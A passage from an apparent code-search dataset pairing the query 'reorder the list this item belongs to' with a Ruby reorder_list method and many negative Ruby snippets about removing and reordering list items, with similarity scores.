add_item_to_list(grocery_list, item)\n grocery_list[item] = nil \n grocery_list\nend", "def free item\n item.order_book.remove item if item.order_book\n end", "def remove_from_list(item_to_rmv)\n item_to_rmv.to_str\n updated_list = Hash.new\n updated_list = $old_list.to_h\n #updated_list.delete_if {|key, value| key == item_to_rmv}\n if updated_list.include?(item_to_rmv) == true \n #p \"test\"\n #p item_to_rmv\n #p $old_list\n p updated_list.delete(item_to_rmv)\n p updated_list.each {|key, val| p key, val}\n #p updated_list\n else \n p \"that item isn't on the list\"\n end\n #if $old_list.to_h.include?(item_to_rmv) == true\n # updated_list.delete(item_to_rmv)\n # updated_list = $old_list.to_h\n #else\n # p \"that item isn't on the list\"\n #end\n \n \nend", "def remove_item(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove_item(list,item)\r\n\r\n list.delete(item)\r\n list\r\nend", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end\n end", "def remove_item_list\n if @listing.job? \n ['Filled Position', 'Removed Job']\n elsif @listing.event? \n ['Event Cancelled', 'Event Ended']\n else\n ['Changed Mind', 'Donated Item', 'Gave Away Item', 'Sold Item']\n end\n end", "def remove_item(list, item_name)\r\n list.delete(item_name)\r\n list\r\nend", "def remove_item_from_list(grocery_list, item) \n grocery_list.delete(item) \n grocery_list \nend", "def remove_item(new_list, item)\n \n new_list.delete(item)\n \n new_list\nend", "def remove_item(grocery_list, item)\r\n\tgrocery_list.delete(item)\r\n\tgrocery_list\r\nend", "def remove_item(new_list, item_name)\r\n new_list.delete(item_name)\r\nend", "def remove(list, food_item)\n\tlist.delete(food_item)\n\tlist\nend", "def remove_item(list, item)\n\tlist.delete(item)\n\tlist\nend", "def destroy\n @list_id = @item.list.id\n @item.destroy\n @items = List.find(@list_id).items.order(\"id ASC\")\n end", "def remove_item(list, item_name)\n list.delete(item_name)\n list\nend", "def remove_item(item, list)\r\n list.delete(item)\r\n p list\r\n list\r\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_list_position(nil)\n end\n end", "def purge!\n unless self.ordered?\n self.line_items.each do |line_item|\n remove_line_item(line_item) if line_item.invalid?\n end\n end\n end", "def remove(final_list, item)\r\n final_list.delete(item)\r\n end", "def destroy\n super\n parent.unlist_item(@sym)\n end", "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend", "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend", "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend", "def remove_removal_item(list, c_list, klass)\n if list.present?\n if klass == DataGroupCountry\n # destroy list of countries\n self.aggregate_customs.only_countries.where(removable_id: list).delete_all\n # find and destroy all removed item is gateway children\n gateway_ids = DataGateway.where(country_id: list).select(\"id\").map(&:id)\n self.aggregate_customs.only_gateways.where(removable_id: gateway_ids).delete_all if gateway_ids.present?\n # find and destroy all removed item is entryway children\n entryway_ids = DataGateway.where(id: gateway_ids).joins(:data_entryways).select(\"data_entryway.id\").uniq.map(&:id)\n self.aggregate_customs.only_entryways.where(removable_id: entryway_ids).delete_all if entryway_ids.present?\n end\n\n if klass == DataGateway\n # destroy list of gateways\n self.aggregate_customs.only_gateways.where(removable_id: list).delete_all\n # find and destroy all removed item is entryway children\n entryway_ids = DataGateway.where(id: list).joins(:data_entryways).select(\"data_entryway.id\").uniq.map(&:id)\n self.aggregate_customs.only_entryways.where(removable_id: entryway_ids).delete_all if entryway_ids.present?\n end\n\n AggregateCustom.by_type(klass.to_s).where(removable_id: list).delete_all if(klass == DataEntryway)\n end\n end", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def cleanUpMountedItems\n # Filtering weapons\n @weapons = @weapons.select { |weapon| weapon.uses > 0 }\n\n # Filtering shields\n @shieldBoosters = @shieldBoosters.select { |shield| shield.uses > 0 }\n end", "def propagate_to_existing_lists\n return @propagate_to_existing_lists\n end", "def remove_item(list, item)\n list.delete(item)\n return list\nend", "def remove_groceries(list, item)\n\tlist.delete (item)\n\tp list\nend", "def remove_item(item,first_list)\n\n first_list.delete(item)\n\nend", "def remove_item(list, item)\r\n\tlist.delete(item)\r\n\treturn list\r\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n return grocery_list\nend", "def remove_from_list(item,list)\n list.delete(item)\nend", "def remove(list,item)\r\n\tlist.delete(item)\r\n\tlist\r\nend", "def finalize\n @list.each do |bp|\n bp.related_bp.each { |bp| bp.remove! }\n bp.remove!\n end\n clear\n end", "def remove_list(older_list, item)\r\n older_list.delete(item)\r\n return older_list\r\nend", "def remove_item(list, item)\n # list.delete_if do |grocery_item, qty|\n # grocery_item == item\n # end\n list.delete(item)\n\n list\nend", "def remove_item(list, item)\r\n# input: item to be removed, list\r\n# steps: \r\n # check if item exists\r\n # remove item\r\n list.delete(item)\r\n # print success message of item removed\r\n puts \"#{item.upcase} has been removed to your grocery list!\"\r\n p list\r\n# output: updated list\r\nend", "def delete_item_from_list(list, food)\n list.delete(food)\n list\nend", "def remove_item(item, grocery_list)\n grocery_list.delete(item)\n return grocery_list\nend", "def remove_item(item, grocery_list)\n grocery_list.delete(item)\n return grocery_list\nend", "def remove_item(list, item_name)\r\n\tif list.has_key?(item_name)\r\n\t\tlist.delete(item_name)\r\n\tend\r\n\tlist\r\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend", "def remove_item(item, list)\n list.delete(item)\nend", "def remove_item(index)\n new_items = items\n\n # TODO cleanse. this is shameful\n item = load_item_at(index)\n item.reverse_appointment! if item.is_a?(Proposal)\n\n new_items.delete_at(index)\n update_attribute :items, new_items\n end", "def remove_from_list\n empty_list if @mylist.length <= 0\n item_names = @mylist.map { |item| item['name'] }\n item_names << 'Back'\n selection = @prompt.select('Which item would you like to remove?'.colorize(:light_green), item_names)\n @menu.my_list if selection == 'Back'\n @mylist.each_with_index do |item, index|\n @mylist.delete_at(index) if item['name'] == selection\n end\n update_file\n end", "def reload_items\n @item_data = nil\n end", "def remove_item(list, item_name)\n\tlist.delete(item_name){|item| list[item] = item_name}\n\tp list\nend", "def delete_item(list,item)\n list.delete(item)\n return list\nend", "def delete_item(list,item)\n list.delete(item)\n list\nend", "def delete_item(list,item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n return list\nend", "def remove_item\n\n end", "def remove(input_list, item)\n input_list.delete(item)\nend", "def remove_item (list, item)\n list.delete(item)\nend", "def list_remover(list,item) #takes 2 arguments, 1 list and name of an item\n\tlist.delete(item)\t\n\t\nend", "def delete_item(list_item)\n @list.delete(list_item)\n @list\n end", "def remove_item(grocery_list, item_name)\r\n\tgrocery_list.delete(item_name)\r\n\treturn grocery_list\r\nend", "def list_remove(hash_items, item_name)\n hash_items.delete(item_name)\n return hash_items\nend", "def deleteItems\n self.items.each do |item|\n item.delete\n end\n end", "def remove_items(item, grocery_list)\n grocery_list.delete(item)\nend", "def reset\n @item_ids = []\n end", "def track_removal_item(list, klass, broken_down, from_day)\n list.each do |id|\n remove_children = id.split('_').last\n i = id.split('_').first\n self.aggregate_customs.create(removable_id: i, removable_type: klass.to_s, remove_children: remove_children)\n if(remove_children == \"true\" && (klass == DataGroupCountry || klass == DataGateway))\n track_children(i, DataGateway, broken_down, from_day) if klass == DataGroupCountry\n track_children(i, DataEntryway, broken_down, from_day) if klass == DataGateway\n end\n end if list.present?\n end", "def remove_item(list, item_name)\n list.delete(item_name.to_sym)\n list\nend", "def remove(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove_item(grocery_list, item)\r\n grocery_list.delete(item) \r\n \r\nend", "def unequip_item(item)\n pair = @outfit.detect { |type, value| value.name.casecmp(item.to_s).zero? }\n if pair\n # On a successful find, the \"detect\" method always returns\n # an array of length 2; thus, the following line should not fail.\n item = pair[1]\n item.unequip(self)\n add_item(item)\n else\n print NOT_EQUIPPED_ERROR\n end\n end", "def remove_item(list,item)\n\tlist.delete(item)\n\tp list\nend", "def remove_item(item, grocery_list)\n grocery_list.delete(item)\n # print_list(grocery_list)\n grocery_list\nend", "def remove_items(shopping_list, item)\n shopping_list.delete(item)\nend", "def delete_item(list, item)\n\tlist.delete(item)\n\tlist\nend", "def remove_item(olist, item)\n olist.delete(item) \n olist\nend", "def delete_item(list, item)\n list.delete(item)\n list\nend", "def delete_item(list, item)\n list.delete(item)\n list\nend", "def trash\n self.update_column(:public, false)\n self.update_column(:folded, true)\n self.remove_from_list\n end", "def remove_item (grocery_list, item)\n\tif grocery_list[item] == nil\n\t\tputs \"Item not on list.\"\n\telse\n\t\tgrocery_list.delete(item)\n\tend\n\treturn grocery_list\nend", "def remove_item(list, item)\r\n# input: shopping list and item to be removed\r\n# steps: \r\n # Use shopping list as input\r\n # Use item to be removed as input\r\n # Remove the item from the list if it exists on the list\r\n list.delete(item)\r\n# output: shopping list with item removed\r\n printlist(list)\r\nend", "def remove(list, item)\n\tlist.delete(item)\n\tlist\nend" ]
[ "0.76052976", "0.6876154", "0.63864297", "0.632772", "0.61386406", "0.6077444", "0.60354894", "0.60253173", "0.6018955", "0.6008113", "0.5993467", "0.5975745", "0.5974182", "0.59669507", "0.59631884", "0.5959673", "0.59484965", "0.5943476", "0.59429574", "0.59238696", "0.59087044", "0.59074485", "0.5907293", "0.58968174", "0.58907706", "0.5868018", "0.58616024", "0.58556736", "0.58457696", "0.58376634", "0.5835855", "0.5834127", "0.58294594", "0.58294594", "0.58294594", "0.58294594", "0.5825427", "0.5810581", "0.58089334", "0.5799869", "0.5783327", "0.5783327", "0.5783327", "0.5779003", "0.577326", "0.577326", "0.57662255", "0.5761101", "0.57487285", "0.57270473", "0.57254726", "0.5720865", "0.57202035", "0.5719873", "0.57164544", "0.5715512", "0.5708842", "0.5703705", "0.57009244", "0.5700187", "0.5697908", "0.5697908", "0.56929684", "0.56918323", "0.56918323", "0.56817806", "0.5677168", "0.56670535", "0.5665014", "0.5664223", "0.566303", "0.56604373", "0.56604373", "0.56591564", "0.5658614", "0.5629531", "0.56212157", "0.5616289", "0.5611463", "0.5611393", "0.56058127", "0.56032735", "0.56023884", "0.56012446", "0.55964595", "0.55951804", "0.55912477", "0.55908155", "0.558876", "0.55885667", "0.5588563", "0.5579427", "0.5578288", "0.5578272", "0.5573961", "0.5573961", "0.55736023", "0.55629975", "0.5553161", "0.5553078" ]
0.76322925
0
reorder the list this item belongs to
def reorder_list(order) self.class.repair_list(list_scope.merge(:order => order)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reorder_list(order)\n model.repair_list(list_scope.merge(:order => order))\n end", "def reorder_queue_items\n queue_items.each_with_index do |queue_item,index|\n queue_item.update_attributes(list_order: index + 1)\n end\n end", "def reorder(positions)\n\t SortableList.new(self.serial_works.in_order).reorder_list(positions)\n\tend", "def sorted_question_items\n self.items.active.question_items.sort do |x1, x2| \n self.items_positions.index(x1.id) <=> self.items_positions.index(x2.id)\n end\n end", "def original_order\n end", "def reorder_items(folder)\n # we have to do a sort_by, not order, because the updated attributes have not been saved.\n changed_folder, new, changed_position, unchanged = folder.items.\n sort_by(&:position).\n group_by do |item|\n if item.folder_id_was != item.folder_id\n :changed_folder\n elsif item.position_was.nil?\n :new\n elsif item.position_was != item.position\n :changed_position\n else\n :unchanged\n end\n end.values_at(:changed_folder, :new, :changed_position, :unchanged).map(&:to_a)\n\n # items that will be in this folder\n unmoved_items = unchanged\n # place items whose positions were specified\n changed_position.map {|item| unmoved_items.insert(item.position - 1, item)}\n # add new items at the end\n unmoved_items = unmoved_items + new\n # calculate positions\n unmoved_items.compact.\n select {|item| item.folder_id_was == item.folder_id}.\n each_with_index do |item, position|\n item.position = position + 1\n end\n\n # items that have moved to another folder\n changed_folder.select {|item| item.folder_id_was != item.folder_id}.each do |item|\n item.position = nil\n end\n end", "def sorted_items(params = {})\n self.items.active.sort do |x1, x2| \n self.items_positions.index(x1.id) <=> self.items_positions.index(x2.id)\n end\n end", "def sort_my_list\n @tracks.clear\n @artists.clear\n @genres.clear\n @user_list.each do |item|\n @tracks << item['id'] if item['type'] == 'track'\n @artists << item['id'] if item['type'] == 'artist'\n @genres << item['name'].downcase if item['type'] == 'genre'\n end\n end", "def up_item \n order_op2(true, @item)\n end", "def reorder_positions\n if position\n position = self.position\n update_attribute(:position, nil)\n self.class.update_all('position = (position - 1)', ['message_id = ? AND kind = ? AND position > ?', message_id, kind, position])\n end\n end", "def reorder_list(field)\n index = 1\n list_scope(field).order_by(field => 'asc').each do |document|\n next if document.id == id\n\n index += 1 if index == self[field] && persisted?\n document.set(field => index)\n index += 1\n end\n\n if list_scope_changed?(field)\n list_scope_was(field).order_by(field => 'asc').each_with_index do |document, index|\n document.set(field => index + 1)\n end\n end\n end", "def reorder\n @issue = @project.sprint_items.find(params[:issue_id])\n @issue.becomes(BacklogItem).remove_from_list\n\n @issue.remove_from_list\n\n @issue.sprint_id = @project.sprints.find(params[:id]).id\n @issue.save\n\n if @issue.insert_at(params[:position].to_i)\n render :json => :ok\n else\n render :json => { :errors => @issue.errors }, :status => :entity_unprocessable\n end\n end", "def perform_reorder_of_children(ordered_ids, current)\n steps = calculate_reorder_steps(ordered_ids, current)\n steps.inject([]) do |result, (source, idx)|\n target = current[idx]\n if source.id != target.id \n source.swap(target, false) \n from = current.index(source)\n current[from], current[idx] = current[idx], current[from]\n result << source\n end\n result\n end\n end", "def reorder!(order)\n @order = order\n\n @attributes = order!(@attributes, order)\n @name = name!(@attributes)\n\n if @name[-2, 2] == \".,\" # Fix this.\n @name = @name[0..-3]\n end\n\n self\n end", "def order( items )\n self.parser.order(items) \n end", "def sort\n conditions = scope_condition\n list_items = order_by_position(conditions, :created_at.desc).to_a\n\n list_items.each_with_index do |list_item, index|\n list_item.set_my_position index + 1\n end\n end", "def sort\n conditions = scope_condition\n list_items = order_by_position(conditions, :created_at.desc).to_a\n\n list_items.each_with_index do |list_item, index|\n list_item.set_my_position index + 1\n end\n end", "def sorted_line_items\n line_items.includes(:item).order(\"items.name\")\n end", "def ordered_list; end", "def update_sort_key\n @item.sort_key = @sortable[@parent.sort_index]\n @item.reversed = @parent.reversed? ? -1 : 1\n end", "def reprocess_ordering\n orderable_scope.each_with_index do |resource, index|\n resource.update_column(:position, index)\n end\n end", "def moveup\n papers = venue.papers.where(\"listorder < ?\",self.listorder).order(:listorder)\n \n if papers.length == 1\n self.listorder = papers[0].listorder - 1.0\n elsif papers.length > 1\n self.listorder = (papers[papers.length-1].listorder + papers[papers.length-2].listorder) / 2\n end\n end", "def reorder\n sibs = siblings\n return if sibs.empty?\n sibs.each do |s|\n if self.ranking >= s.ranking\n self.move_to_left_of(s) and return\n end\n end\n self.move_to_right_of(sibs.last)\n end", "def sort\n i = 0;\n list_orders = Hash[params[:list].to_a.map {|k| [k, i+=1]}]\n lists = Board.find(params[:board_id]).lists.order(:order)\n lists.each do |list|\n list.order = list_orders[list.id.to_s]\n list.save\n end\n render nothing: true\n end", "def order_op2(haut, item)\n if haut\n sign = '<'\n name = 'haut'\n else\n sign = '>'\n name = 'bas'\n end\n if item.question.items.exists?([\"position #{sign} ?\", item.position])\n if haut\n item2 = item.question.items.where(\"position #{sign} ?\", item.position).order('position').reverse_order.first\n else\n item2 = item.question.items.where(\"position #{sign} ?\", item.position).order('position').first\n end\n swap_position(item, item2)\n flash[:success] = \"Choix déplacé vers le #{name}.\"\n end\n redirect_to question_manage_items_path(params[:question_id])\n end", "def reorder_info(info) \n if (info[0][-1][-1]).is_i? == true \n order = [0, 1, 2, 4, 3]\n info.map! do |element|\n order.map {|x| element[x]}\n end\n else \n info \n end\nend", "def sort\n params[:playlist_item].each_with_index do |id, index|\n PlaylistItem.update_all({position: index+1}, {id: id})\n end\n render nothing: true\n end", "def reorder\n frm().link(:text=>\"Reorder\").click\n AssignmentsReorder.new(@browser)\n end", "def reorder\n # delete tracks in front of current_track\n indices = OSX::NSIndexSet.indexSetWithIndexesInRange( OSX::NSRange.new(@current_track_index, @iTunes.queue.tracks.length - @current_track_index) )\n @iTunes.queue.tracks.removeObjectsAtIndexes(indices)\n track_ids = params[:queued_tracks].map {|track_id| track_id.to_i}.reverse\n tracks = track_ids.collect{ |id| @iTunes.find_track(id) }\n @iTunes.queue_tracks(tracks, nil)\n logger.debug \"reordering tracks\"\n\n# doesn't work:\n# @iTunes.queue.tracks.each_with_index do |track,index|\n# next if index == @current_track_index\n# @iTunes.queue.tracks.replaceObjectAtIndex_withObject(index, tracks[index]) \n# end\n\n respond_to do |format|\n format.js { \n reload_state_data \n render( :update ) { | page | \n page.replace(\"queue-box\", :partial => \"queued_tracks/queued_tracks\") \n } \n }\n end\n end", "def render_items\n @items.reverse_each_with_index do |item, index|\n # Skip if item is already in\n next if item.parent\n\n next_item = @items[index + 1]\n if next_item\n # If there is a nex item isert before it\n next_id = next_item.data[key]\n el = @items.find { |element| element.data[key] == next_id }\n insert_before item, el\n else\n # Else append at the end\n item >> self\n end\n end\n end", "def list\n order_items\n end", "def organize_list\n\t\[email protected]_with_index do |node, index|\n\t\t\tnode.next_node = @list[index + 1] if index < (@list.length - 1)\n\t\tend\n\t\t@list[-1].next_node = nil\n\tend", "def sort\n @project.items.each do |item|\n if position = params[:items].index(item.id.to_s)\n item.update_attribute(:position, position + 1) unless item.position == position + 1\n end\n end\n render :nothing => true, :status => 200\n end", "def reorder\n frm.link(:text=>\"Reorder\").click\n AssignmentsReorder.new(@browser)\n end", "def order \n @items = Item.all\n @item = Item.find(params[:id])\n end", "def move_lower\n lower = lower_item\n return unless lower\n acts_as_list_class.transaction do\n self.update_attribute(position_column, lower.send(position_column))\n lower.decrement_position\n end\n end", "def reorganize\n list = params[:list]\n prev_page = nil\n last_root = nil\n list.each_with_index do |item, i|\n item_params = item[1]\n\n page = Page.find(item_params['id'].to_i)\n \n # if root of tree on rails side\n if item_params['parent_id'] == ''\n page.parent_id = nil\n if last_root\n page.move_to_right_of(last_root.id)\n end\n last_root = page\n page.save\n\n else\n page.parent_id = item_params['parent_id'].to_i\n page.save\n \n # shift to the right of previous element if parent is the same\n if prev_page.parent_id == page.parent_id\n page.move_to_right_of(prev_page.id)\n else\n\n # iterate backwards to find last sibling\n current_index = i - 1 \n found_sibling = false\n keys = list.keys\n\n while found_sibling == false and current_index > 0 do\n if list[keys[current_index]]['parent_id'] == item_params['parent_id']\n page.move_to_right_of(list[keys[current_index]]['id'])\n found_sibling = true\n else\n current_index -= 1\n end\n end\n\n end\n end\n\n # set previous item\n prev_page = page\n\n end\n\n respond_to do |format|\n format.json { head :ok } \n end\n end", "def rearrange_children!\n @rearrange_children = true\n end", "def sort_order\n super\n end", "def down_item\n order_op2(false, @item)\n end", "def move_lower\n return unless lower_item\n\n acts_as_list_class.transaction do\n if lower_item.current_position != current_position\n swap_positions_with(lower_item)\n else\n lower_item.decrement_position\n increment_position\n end\n end\n end", "def user_sortable_list(sortable)\n sortable.order.join(\"\\n\")\n end", "def move_to_top\n # return unless in_list?\n acts_as_list_class.transaction do\n # increment_positions_on_higher_items\n in_list? ? increment_positions_on_higher_items : increment_positions_on_all_items\n assume_top_position\n end\n end", "def move_to_top\n return unless in_list?\n acts_as_list_class.transaction do\n increment_positions_on_higher_items\n assume_top_position\n end\n end", "def order\n\t\tplayitems = params[:playitem]\n\t\t@playlist = PlaylistMedia.find(playitems[0]).playlist\n\t\t@playitems = true\t# Prevents being made a droppable\n\t\t\n\t\tPlaylistMedia.order_all(params[:playitem])\n\n\t\trespond_with(@playlist) do |format|\n\t\t\tformat.js { render :action => 'update_playlist', :layout => false }\n\t\tend\n\tend", "def sortable(pos)\n @sortable[pos]\n end", "def remove_from_list\n # if in_list?\n # decrement_positions_on_lower_items\n # update_attribute position_column, nil\n # end \n return unless in_list?\n decrement_positions_on_lower_items\n update_attribute position_column, nil \n end", "def order\n # this method always returns MENU because\n # .each() always returns the array it iterates on\n # I'm not quite sure what you tried to do here, though\n MENU.each do |key, value| \n @items = [:pizza, :kebab]\n end\n end", "def decrement_positions_on_lower_items(position=current_position)\n return unless in_list?\n\n if sequential_updates?\n acts_as_list_list.where(\"#{quoted_position_column_with_table_name} > ?\", position).reorder(acts_as_list_order_argument(:asc)).decrement_sequentially\n else\n acts_as_list_list.where(\"#{quoted_position_column_with_table_name} > ?\", position).decrement_all\n end\n end", "def shuffle_positions_on_intermediate_items(old_position, new_position, avoid_id = nil)\n return if old_position == new_position\n scope = acts_as_list_list\n\n if avoid_id\n scope = scope.where(\"#{quoted_table_name}.#{self.class.primary_key} != ?\", avoid_id)\n end\n\n if old_position < new_position\n # Decrement position of intermediate items\n #\n # e.g., if moving an item from 2 to 5,\n # move [3, 4, 5] to [2, 3, 4]\n items = scope.where(\n \"#{quoted_position_column_with_table_name} > ?\", old_position\n ).where(\n \"#{quoted_position_column_with_table_name} <= ?\", new_position\n )\n\n if sequential_updates?\n items.reorder(acts_as_list_order_argument(:asc)).decrement_sequentially\n else\n items.decrement_all\n end\n else\n # Increment position of intermediate items\n #\n # e.g., if moving an item from 5 to 2,\n # move [2, 3, 4] to [3, 4, 5]\n items = scope.where(\n \"#{quoted_position_column_with_table_name} >= ?\", new_position\n ).where(\n \"#{quoted_position_column_with_table_name} < ?\", old_position\n )\n\n if sequential_updates?\n items.reorder(acts_as_list_order_argument(:desc)).increment_sequentially\n else\n items.increment_all\n end\n end\n end", "def reorder_children!(*sorted_ids)\n return if children.empty?\n last_moved = nil\n sorted_ids.flatten.each do |child_id|\n child = children.find { |item| item.id.to_s == child_id.to_s }\n next if child.nil?\n if last_moved.nil?\n child.move_to_left_of(children[0]) unless child == children[0]\n else\n child.move_to_right_of(last_moved)\n end\n child.save # Needed in order for the sweeper to work properly\n last_moved = child\n end\n end", "def reorder(*args)\n @options[:order] = args\n end", "def lower_items(limit=nil)\n limit ||= acts_as_list_list.count\n acts_as_list_list.\n where(\"#{quoted_position_column_with_table_name} >= ?\", current_position).\n where(\"#{quoted_table_name}.#{self.class.primary_key} != ?\", self.send(self.class.primary_key)).\n reorder(acts_as_list_order_argument(:asc)).\n limit(limit)\n end", "def reorder\n @course = Course.find(params[:course_id])\n @course_modules = @course.course_modules\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end\n end", "def move_to_list(scope, pos = nil)\n transaction do |txn|\n self.detach # remove from current list\n self.attribute_set(model.list_options[:scope][0], scope.to_i) # set new scope\n self.save # save progress. Needed to get the positions correct.\n self.reload # get a fresh new start\n self.move(pos) unless pos.nil?\n end\n end", "def reorder\n unless valid_ordering?(question_order_params)\n raise ArgumentError, 'Invalid ordering for assessment questions'\n end\n\n Course::Assessment::Question.transaction do\n question_order_params.each_with_index do |id, index|\n questions_hash[id].update_attribute(:weight, index)\n end\n end\n end", "def move_higher\n return unless higher_item\n\n acts_as_list_class.transaction do\n higher_item.increment_position\n decrement_position\n end\n end", "def decrement_positions_on_lower_items\n return unless in_list?\n acts_as_list_class.update_all(\n \"#{:position} = (#{:position} - 1)\", \"#{:position} > #{send(:position).to_i}\"\n )\n end", "def remove_from_list\n return unless in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end", "def position_in_list\n self[order_column]\n end", "def default_list_order\n return nil\n end", "def swap_with_next i\n #if first_item >= first_item.next_list_item\n\n end", "def reorder(old, new)\n changes = find_changes(old, new)\n results = Array.new(old)\n changes.each do |c|\n id = c[0]\n desired_position = c[1]\n current_position = get_position_of_id(id, results)\n if going_up?(current_position,desired_position)\n results = move_everything_down_between(desired_position,current_position,results)\n else\n results = move_everything_up_between(desired_position,current_position,results)\n end\n results = change_position_by_id(id, desired_position, results)\n results = sort_by_position(results)\n end\n return results\n end", "def reorder(*args)\n return self if args.blank?\n\n relation = clone\n relation.reordering_value = true\n relation.order_values = args.flatten\n relation\n end", "def set_to_ordered\n self.status = \"ordered\"\n self.save\n end", "def drag_to_order( dimension, items )\n positions = Array.new\n items.each_index do |n|\n item=$driver.find_element( items[n][0].to_sym, items[n][1] )\n positions[n] = item.location.send( dimension )\n end\n positions.sort!\n $debug and print \"In drag_to_order: items: #{YAML.dump(items)}\\n\"\n $debug and print \"In drag_to_order: positions: #{YAML.dump(positions)}\\n\"\n drag_to_order_internal( dimension, items, positions )\n\n # Then we re-pull the positions and check them\n last=0\n current=0\n items.each_index do |n|\n item=$driver.find_element( items[n][0].to_sym, items[n][1] )\n current = item.location.send( dimension )\n current.should satisfy { |current| current > last }\n last = current\n end\n end", "def proefssorted\n \tproefs.order(:position)\n end", "def update_safe_display_order(params)\n\n reorder = ->(relation, offset) do\n return if relation.size == 0\n start = offset ? [relation.size, *relation.pluck(:display_order), *relation.map(&:display_order)].compact.max.to_i + 1 : 1\n relation.each { |item| item.created_at = DateTime.now if item.created_at.nil? }\n relation.sort_by(&:created_at).each_with_index {|el, i| el.display_order = start + i}\n end\n\n assign_attributes(params)\n\n if valid?\n reorder.(sections, true)\n sections.each {|s| reorder.(s.questions, true)}\n sections.flat_map(&:questions).each {|q| reorder.(q.multiple_choice_options, true)}\n offset_saved = save\n\n reorder.(sections, false)\n sections.each {|s| reorder.(s.questions, false)}\n sections.flat_map(&:questions).each {|q| reorder.(q.multiple_choice_options, false)}\n ordered_save = save\n\n return (offset_saved && ordered_save)\n else\n return false\n end\n end", "def get_sorted_list(type)\n temp_array = @items.select { |item| item.instance_of?(type) }\n case type\n when TodoItem\n temp_array.sort! { |i, j| i.due.to_s <=> j.due.to_s }\n when EventItem\n temp_array.sort! { |i, j| i.start_date.to_s <=> j.start_date.to_s }\n when LinkItem\n temp_array.sort! { |i, j| i.site_name <=> j.site_name }\n end\n temp_array\n end", "def reorder\n params[:product_image].each_with_index do |id, index|\n product.images.find(id).update_attributes :position => index\n end\n render :nothing => true\n end", "def update_lists_if_role_changed\n if self.role_changed?\n new_role, self.role = self.role, self.role_was\n decrement_positions_on_lower_items if in_list?\n self.position = nil\n self.role = new_role\n add_to_list_bottom\n end\n end", "def reorder\n unless valid_ordering?(question_order_ids)\n raise ArgumentError, 'Invalid ordering for assessment questions'\n end\n\n Course::QuestionAssessment.transaction do\n question_order_ids.each_with_index do |id, index|\n question_assessments_hash[id].update_attribute(:weight, index)\n end\n end\n end", "def reorder\n @old_order = current_user.orders.find params[:id]\n @cookbook = @old_order.cookbook\n load_user_cookbook @cookbook\n @order = @cookbook.get_active_reorder(@old_order.id)\n\n # Redirect user if cookbook has too much pages for the selected binding\n # if @order.num_pages > @cookbook.book_binding.max_number_of_pages\n # redirect_to notify_binding_problem_order_path(@order)\n # return\n # end\n end", "def rearrange_recursively(klass, items, parent = nil)\n last = nil\n items.each do |item|\n record = klass.find(item['id'])\n if last\n record.move_to_right_of(last)\n else\n parent ? record.move_to_child_of(parent) : record.move_to_root\n end\n last = record\n if item['children']\n rearrange_recursively klass, item['children'], record\n end\n end\n end", "def organize_items\n # just hash actor ids -> item containers -> item ids and store it\n # in the tactical battle manager. When bringing up this scene, display\n # previously organized items to the player by consulting the hash.\n # Then when a tactical unit is loaded all it just looks at the hash\n # in the TBM module and loads its items from there. \n # Make a note of this, in addition to the equipment problem when detailing \n # why no more than one Game_Actor should be able to be produced as a \n # produceable unite\n \n @unit_list_swap_items.show\n @unit_list_swap_items.select(0)\n deactivate_all_but(@unit_list_swap_items)\n @unit_list_swap_items.activate\n @unit_list_swap_items.refresh\n @basic_text_win.show\n @place_coms.hide\n end", "def normalize_order(order); end", "def reorder(options = {})\n if options[:parent] =~ /\\d/\n self.move_to_child_of options[:parent]\n else\n self.move_to_child_of Category.root\n end\n self.move_to_left_of options[:right].to_i if options[:right] =~ /\\d/\n end", "def move_higher\n return unless higher_item\n\n acts_as_list_class.transaction do\n if higher_item.current_position != current_position\n swap_positions_with(higher_item)\n else\n higher_item.increment_position\n decrement_position\n end\n end\n end", "def index\n @items = Item.all\n\n set_order\n end", "def move_to_top\n return unless in_list?\n insert_at_position acts_as_list_top\n end", "def __sortable__\n self\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_list_position(nil)\n end\n end", "def sort_items\n @items = @items.sort_by(&:created_at) if params[:order] == 'date'\n @items = @items.sort_by(&:created_at).reverse if params[:order] == 'date desc'\n @items = @items.sort_by(&:payee) if params[:order] == 'payee'\n @items = @items.sort_by(&:payee).reverse if params[:order] == 'payee desc'\n @items = @items.sort_by(&:description) if params[:order] == 'descr'\n @items = @items.sort_by(&:description).reverse if params[:order] == 'descr desc'\n @items = @items.sort_by(&:amount) if params[:order] == 'saldo'\n @items = @items.sort_by(&:amount).reverse if params[:order] == 'saldo desc'\n @items = @items.sort_by(&:category_id) if params[:order] == 'cat'\n @items = @items.sort_by(&:category_id).reverse if params[:order] == 'cat desc'\n end", "def move_higher\n higher = higher_item\n return unless higher\n acts_as_list_class.transaction do\n self.update_attribute(position_column, higher.send(position_column))\n higher.increment_position\n end\n end", "def decrement_positions_on_lower_items\n # return unless in_list?\n # acts_as_list_class.update_all(\"#{position_column} = (#{position_column} - 1)\", \"#{scope_condition} AND #{position_column} > #{send(position_column).to_i}\") \n acts_as_list_class.with_acts_as_list_scope(scope_condition) do\n update_all(\"#{position_column} = (#{position_column} - 1)\", \"#{position_column} > #{send(position_column).to_i}\")\n end \n end", "def reorder_cards!\n if board_collection?\n collection_cards.update_all(order: nil)\n return\n end\n\n CollectionCard.import(\n calculate_reordered_cards,\n validate: false,\n on_duplicate_key_update: 